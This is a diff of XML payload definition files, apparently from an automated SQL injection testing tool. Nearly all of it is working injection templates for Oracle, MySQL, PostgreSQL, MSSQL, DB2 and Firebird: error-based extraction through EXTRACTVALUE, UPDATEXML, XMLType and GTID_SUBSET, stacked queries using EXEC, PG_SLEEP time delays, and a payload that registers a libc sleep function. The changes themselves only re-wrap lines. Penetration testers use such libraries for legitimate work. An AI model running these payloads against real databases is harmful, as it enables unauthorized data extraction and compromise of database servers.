<payload>(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</payload> <payload>(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN
([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)
</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@ -1144,7 +1300,9 @@
<where>3</where> <where>3</where>
<vector>(SELECT [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]'))</vector> <vector>(SELECT [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]'))</vector>
<request> <request>
<payload>(SELECT [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]'))</payload> <payload>(SELECT [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END
FROM RDB$DATABASE)||'[DELIMITER_STOP]'))
</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@ -1163,7 +1321,9 @@
<where>3</where> <where>3</where>
<vector>RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector> <vector>RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
<request> <request>
<payload>RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')</payload> <payload>RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0
END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')
</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@ -1182,9 +1342,14 @@
<risk>1</risk> <risk>1</risk>
<clause>2,3</clause> <clause>2,3</clause>
<where>1</where> <where>1</where>
<vector>,(SELECT [RANDNUM] FROM (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))x)</vector> <vector>,(SELECT [RANDNUM] FROM (SELECT 2*(IF((SELECT * FROM (SELECT
CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610,
8446744073709551610)))x)
</vector>
<request> <request>
<payload>,(SELECT [RANDNUM] FROM (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))x)</payload> <payload>,(SELECT [RANDNUM] FROM (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT
(ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))x)
</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@ -1202,9 +1367,13 @@
<risk>1</risk> <risk>1</risk>
<clause>2,3</clause> <clause>2,3</clause>
<where>1</where> <where>1</where>
<vector>,(SELECT [RANDNUM] FROM (SELECT EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x)))s)</vector> <vector>,(SELECT [RANDNUM] FROM (SELECT EXP(~(SELECT * FROM (SELECT
CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x)))s)
</vector>
<request> <request>
<payload>,(SELECT [RANDNUM] FROM (SELECT EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x)))s)</payload> <payload>,(SELECT [RANDNUM] FROM (SELECT EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT
(ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x)))s)
</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@ -1224,7 +1393,9 @@
<where>1</where> <where>1</where>
<vector>,GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector> <vector>,GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
<request> <request>
<payload>,GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload> <payload>,GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT
(ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])
</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@ -1242,9 +1413,13 @@
<risk>1</risk> <risk>1</risk>
<clause>2,3</clause> <clause>2,3</clause>
<where>1</where> <where>1</where>
<vector>,(SELECT [RANDNUM] FROM (SELECT JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) USING utf8))))x)</vector> <vector>,(SELECT [RANDNUM] FROM (SELECT JSON_KEYS((SELECT CONVERT((SELECT
CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) USING utf8))))x)
</vector>
<request> <request>
<payload>,(SELECT [RANDNUM] FROM (SELECT JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) USING utf8))))x)</payload> <payload>,(SELECT [RANDNUM] FROM (SELECT JSON_KEYS((SELECT CONVERT((SELECT
CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) USING utf8))))x)
</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@ -1262,9 +1437,15 @@
<risk>1</risk> <risk>1</risk>
<clause>2,3</clause> <clause>2,3</clause>
<where>1</where> <where>1</where>
<vector>,(SELECT 1 FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)</vector> <vector>,(SELECT 1 FROM(SELECT
COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
</vector>
<request> <request>
<payload>,(SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)</payload> <payload>,(SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT
(ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS
GROUP BY x)a)
</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@ -1284,7 +1465,9 @@
<where>1</where> <where>1</where>
<vector>,EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))</vector> <vector>,EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))</vector>
<request> <request>
<payload>,EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload> <payload>,EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT
(ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))
</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@ -1304,7 +1487,9 @@
<where>1</where> <where>1</where>
<vector>,UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM1])</vector> <vector>,UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM1])</vector>
<request> <request>
<payload>,UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1])</payload> <payload>,UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT
(ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1])
</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@ -1322,9 +1507,16 @@
<risk>1</risk> <risk>1</risk>
<clause>2,3</clause> <clause>2,3</clause>
<where>1</where> <where>1</where>
<vector>,(SELECT [RANDNUM] FROM (SELECT ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x))s)</vector> <vector>,(SELECT [RANDNUM] FROM (SELECT ROW([RANDNUM],[RANDNUM1])>(SELECT
COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2]
UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x))s)
</vector>
<request> <request>
<payload>,(SELECT [RANDNUM] FROM (SELECT ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x))s)</payload> <payload>,(SELECT [RANDNUM] FROM (SELECT ROW([RANDNUM],[RANDNUM1])>(SELECT
COUNT(*),CONCAT('[DELIMITER_START]',(SELECT
(ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT
[RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x))s)
</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@ -1344,7 +1536,9 @@
<where>1</where> <where>1</where>
<vector>,(CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC))</vector> <vector>,(CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC))</vector>
<request> <request>
<payload>,(CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]' AS NUMERIC))</payload> <payload>,(CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0
END))::text||'[DELIMITER_STOP]' AS NUMERIC))
</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@ -1363,7 +1557,9 @@
<where>1</where> <where>1</where>
<vector>,(CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC))</vector> <vector>,(CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC))</vector>
<request> <request>
<payload>,(CAST('[DELIMITER_START]'||(SELECT 1 FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) LIMIT 1)::text||'[DELIMITER_STOP]' AS NUMERIC))</payload> <payload>,(CAST('[DELIMITER_START]'||(SELECT 1 FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN
([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) LIMIT 1)::text||'[DELIMITER_STOP]' AS NUMERIC))
</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@ -1380,9 +1576,13 @@
<risk>1</risk> <risk>1</risk>
<clause>3</clause> <clause>3</clause>
<where>1</where> <where>1</where>
<vector>,(SELECT [RANDNUM] WHERE [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')))</vector> <vector>,(SELECT [RANDNUM] WHERE [RANDNUM]=CONVERT(INT,(SELECT
'[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')))
</vector>
<request> <request>
<payload>,(SELECT [RANDNUM] WHERE [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]')))</payload> <payload>,(SELECT [RANDNUM] WHERE [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN
([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]')))
</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@ -1400,9 +1600,13 @@
<risk>1</risk> <risk>1</risk>
<clause>2,3</clause> <clause>2,3</clause>
<where>1</where> <where>1</where>
<vector>,(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</vector> <vector>,(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),'
','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)
</vector>
<request> <request>
<payload>,(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</payload> <payload>,(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN
([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)
</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@ -1421,7 +1625,9 @@
<where>1</where> <where>1</where>
<vector>,(SELECT [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]'))</vector> <vector>,(SELECT [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]'))</vector>
<request> <request>
<payload>,(SELECT [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]'))</payload> <payload>,(SELECT [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END
FROM RDB$DATABASE)||'[DELIMITER_STOP]'))
</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@ -1440,7 +1646,9 @@
<where>1</where> <where>1</where>
<vector>,RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector> <vector>,RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
<request> <request>
<payload>,RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')</payload> <payload>,RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0
END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')
</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@ -1463,9 +1671,13 @@
<risk>1</risk> <risk>1</risk>
<clause>1-8</clause> <clause>1-8</clause>
<where>1</where> <where>1</where>
<vector>;DECLARE @[RANDSTR] NVARCHAR(4000);SET @[RANDSTR]=(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]');EXEC @[RANDSTR]</vector> <vector>;DECLARE @[RANDSTR] NVARCHAR(4000);SET @[RANDSTR]=(SELECT
'[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]');EXEC @[RANDSTR]
</vector>
<request> <request>
<payload>;DECLARE @[RANDSTR] NVARCHAR(4000);SET @[RANDSTR]=(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]');EXEC @[RANDSTR]</payload> <payload>;DECLARE @[RANDSTR] NVARCHAR(4000);SET @[RANDSTR]=(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN
([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]');EXEC @[RANDSTR]
</payload>
<comment>--</comment> <comment>--</comment>
</request> </request>
<response> <response>

View File

@ -11,7 +11,9 @@
<where>3</where> <where>3</where>
<vector>(SELECT CONCAT(CONCAT('[DELIMITER_START]',([QUERY])),'[DELIMITER_STOP]'))</vector> <vector>(SELECT CONCAT(CONCAT('[DELIMITER_START]',([QUERY])),'[DELIMITER_STOP]'))</vector>
<request> <request>
<payload>(SELECT CONCAT(CONCAT('[DELIMITER_START]',(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]'))</payload> <payload>(SELECT CONCAT(CONCAT('[DELIMITER_START]',(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0'
END)),'[DELIMITER_STOP]'))
</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@ -46,7 +48,9 @@
<where>3</where> <where>3</where>
<vector>(SELECT '[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]')</vector> <vector>(SELECT '[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]')</vector>
<request> <request>
<payload>(SELECT '[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]')</payload> <payload>(SELECT '[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0
END))::text||'[DELIMITER_STOP]')
</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@ -65,7 +69,9 @@
<where>3</where> <where>3</where>
<vector>(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')</vector> <vector>(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')</vector>
<request> <request>
<payload>(SELECT '[DELIMITER_START]'+(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)+'[DELIMITER_STOP]')</payload> <payload>(SELECT '[DELIMITER_START]'+(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0'
END)+'[DELIMITER_STOP]')
</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@ -86,7 +92,9 @@
<vector>(SELECT ('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') FROM DUAL)</vector> <vector>(SELECT ('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') FROM DUAL)</vector>
<request> <request>
<!-- NOTE: Vertica works too without the TO_NUMBER() --> <!-- NOTE: Vertica works too without the TO_NUMBER() -->
<payload>(SELECT '[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN TO_NUMBER(1) ELSE TO_NUMBER(0) END)||'[DELIMITER_STOP]' FROM DUAL)</payload> <payload>(SELECT '[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN TO_NUMBER(1) ELSE TO_NUMBER(0)
END)||'[DELIMITER_STOP]' FROM DUAL)
</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@ -105,7 +113,9 @@
<where>3</where> <where>3</where>
<vector>SELECT '[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]'</vector> <vector>SELECT '[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]'</vector>
<request> <request>
<payload>SELECT '[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)||'[DELIMITER_STOP]'</payload> <payload>SELECT '[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0
END)||'[DELIMITER_STOP]'
</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@ -124,7 +134,9 @@
<where>3</where> <where>3</where>
<vector>SELECT '[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' FROM RDB$DATABASE</vector> <vector>SELECT '[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' FROM RDB$DATABASE</vector>
<request> <request>
<payload>SELECT '[DELIMITER_START]'||(CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END)||'[DELIMITER_STOP]' FROM RDB$DATABASE</payload> <payload>SELECT '[DELIMITER_START]'||(CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END)||'[DELIMITER_STOP]'
FROM RDB$DATABASE
</payload>
</request> </request>
<response> <response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>

View File

@ -43,7 +43,7 @@
</details> </details>
</test> </test>
<test> <test>
<title>MySQL &gt;= 5.0.12 stacked queries (query SLEEP - comment)</title> <title>MySQL &gt;= 5.0.12 stacked queries (query SLEEP - comment)</title>
<stype>4</stype> <stype>4</stype>
<level>3</level> <level>3</level>
@ -130,7 +130,9 @@
<risk>1</risk> <risk>1</risk>
<clause>1-8</clause> <clause>1-8</clause>
<where>1</where> <where>1</where>
<vector>;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END)</vector> <vector>;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM]
END)
</vector>
<request> <request>
<payload>;SELECT PG_SLEEP([SLEEPTIME])</payload> <payload>;SELECT PG_SLEEP([SLEEPTIME])</payload>
<comment>--</comment> <comment>--</comment>
@ -151,7 +153,9 @@
<risk>1</risk> <risk>1</risk>
<clause>1-8</clause> <clause>1-8</clause>
<where>1</where> <where>1</where>
<vector>;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END)</vector> <vector>;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM]
END)
</vector>
<request> <request>
<payload>;SELECT PG_SLEEP([SLEEPTIME])</payload> <payload>;SELECT PG_SLEEP([SLEEPTIME])</payload>
</request> </request>
@ -171,7 +175,9 @@
<risk>2</risk> <risk>2</risk>
<clause>1-8</clause> <clause>1-8</clause>
<where>1</where> <where>1</where>
<vector>;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END)</vector> <vector>;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE
[RANDNUM] END)
</vector>
<request> <request>
<payload>;SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)</payload> <payload>;SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)</payload>
<comment>--</comment> <comment>--</comment>
@ -191,7 +197,9 @@
<risk>2</risk> <risk>2</risk>
<clause>1-8</clause> <clause>1-8</clause>
<where>1</where> <where>1</where>
<vector>;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END)</vector> <vector>;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE
[RANDNUM] END)
</vector>
<request> <request>
<payload>;SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)</payload> <payload>;SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)</payload>
</request> </request>
@ -210,9 +218,12 @@
<risk>1</risk> <risk>1</risk>
<clause>1-8</clause> <clause>1-8</clause>
<where>1</where> <where>1</where>
<vector>;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM SLEEP([SLEEPTIME])) ELSE [RANDNUM] END)</vector> <vector>;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM SLEEP([SLEEPTIME])) ELSE [RANDNUM] END)
</vector>
<request> <request>
<payload>;CREATE OR REPLACE FUNCTION SLEEP(int) RETURNS int AS '/lib/libc.so.6','sleep' language 'C' STRICT; SELECT sleep([SLEEPTIME])</payload> <payload>;CREATE OR REPLACE FUNCTION SLEEP(int) RETURNS int AS '/lib/libc.so.6','sleep' language 'C' STRICT;
SELECT sleep([SLEEPTIME])
</payload>
<comment>--</comment> <comment>--</comment>
